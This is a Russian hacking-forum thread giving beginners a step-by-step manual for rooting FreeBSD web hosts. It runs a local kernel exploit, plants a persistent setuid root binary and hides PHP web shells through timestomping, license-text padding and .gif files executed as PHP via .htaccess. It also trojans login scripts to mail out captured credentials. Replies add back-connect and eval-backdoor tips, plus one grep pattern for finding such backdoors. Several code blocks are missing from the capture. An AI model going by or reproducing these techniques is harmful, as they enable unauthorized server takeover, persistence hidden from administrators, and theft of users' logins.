![]() |
Мануал новичкам: Рутанье
|=---=[ Мануал новичкам: Рутанье ]=---=| Мануал предназначен для новичков. В нем я постараюсь расписать пошаговою инструкцию рутанья, а также как спрятать свой шелл от админов (:
User: 80 ( www ) Group: 80 ( www ) Код:
# uname -aСохраняем плоент где нибудь, затем грузим на хост.
Код:
gcc bsd-ktimer.c -o freeКод:
# ./freeuid=80(www) gid=80(www) euid=0(root) groups=80(www),1003(suwww) Ну что же, рут имеем, теперь надо бы както сделать так, чтобы не каждый раз юзать сплойт, если упадет процес бекдора. Создаем файлик, который будет давать нам права рута, каждый раз при вызове. 1.с: Код:
main() { Код:
gcc 1.c -o syserКод:
$ /bin/syser
touch -r [base] [shell] Тем самым мы изменим дату создание шелла на дату создание безобидного файлика. 2. Копирайты, лицензии. Часто помагает в начало файла добавить копирайты цмски которая стоит на сайте, сделать много отступов, затем сам код шелла) Или же впихнуть текст лицензии, GNU, например. 3. Расширение Пихаем шелл с расширением .gif в какую нибудь папку с картинками, и добавляем .htaccess: Код:
AddType application/x-httpd-php .gif4. Псевдофункции В файл функций можно добавить следующий код: PHP код:
PHP код:
5. mail(); Ищем страничку авторизации, затем трояним скрипт. Нужно найти место где проходит проверка логина и пароля, и вставить примерно такой код: PHP код:
© 2009 Dimi4, [UASC] |
>>Вообщето сплойты можна юзать из веба
Ещё часто оказывается, что сплоит во время работы что-то пишет в консольку, а шелл это почему-то не отображает. Так что бывает удобно дописать в начало кода Код:
freopen("sploit.output", "wt", stdout); |
>>Вообщето сплойты можна юзать из веба
видел твой пост, но по моему это не твоя идея, я без наезда, просто подзабыл. больше вероятности сделать бекконект всеже на стандартные порты, ну т.е. 80,21,20 (ftp-data) если конечно нет демонов которые эти порты слушают. В целом хорошо, собрал все воедино. насчет MySql не понял, ладно бы если: echo eval($row['comment']); |
кстати это сплойит под фряху не всегда пашет...на некоторых хостах просто вываливается ошибка что failed to lookup posix_clocks
|
Scipio идея про шеллы из веба: обсуждали вместе со снейком, так что да, не могу претендовать на авторство.
Цитата:
2 svesve Возможно ядро пропатчено, смотри дату точную, тоесть месяц и число, и сравнивай с датой выхода сплойта |
>>` - shell_exec )) неужели забыл? )
ну я то не забыл, но объясни тогда в чем логика? Разве есть такая линевая комманда eval($_POST['e']);? другими словами eval тут не функция, а часть переменной $row['comment'] так же как и $_POST['e'] не переменная, а часть строки-значения переменной $row['comment'] |
гы, метода прятания беков от 2005 года:)
PS: Сорри, пьян децл Хотя бы шифровать как-то, имхо. grep -P -i 'eval|$_GET|$_REQUEST|base64' /var/www/*.* к примеру и всё, ни шеллов ни бекдоров PS: А так прикольная статья, насчет бекконекта |
сори но если бы тс не был бы грином, заминусовали бы и послали...
статей на эту тему предостаточно, причем более интересных и расписанных http://forum.antichat.ru/showthread.php?t=17581 http://forum.antichat.ru/showthread.php?t=21406 http://forum.antichat.ru/showthread.php?t=30711 и т.д. зото плюсов срубил на бояне, любой реподрочер позавидует, хотя это не мое дело, минусните меня за дерзость. |
Цитата:
|
2Dyxxx
вуху, меня до гринов повысили? )) И неужели ты думаешь что мой уровень писать статьи ради плюсов? Целью было создать мануал, который мог бы юзать каждый новичок, когда возникает вопрос о рутаньи. Да и в прочем, кто бы говорил? У тебя вся репа из темы скуль иньекты) Только не надо говорить что ты их ты выкладываешь "просто так". Это уже оффтоп, так что отвечать на это не надо, дабы не засорять тему. Spyder О_о непонел П.С. Dyxxx за линк спс, статей я не видел. И не надо провокаций) |
| Время: 09:21 |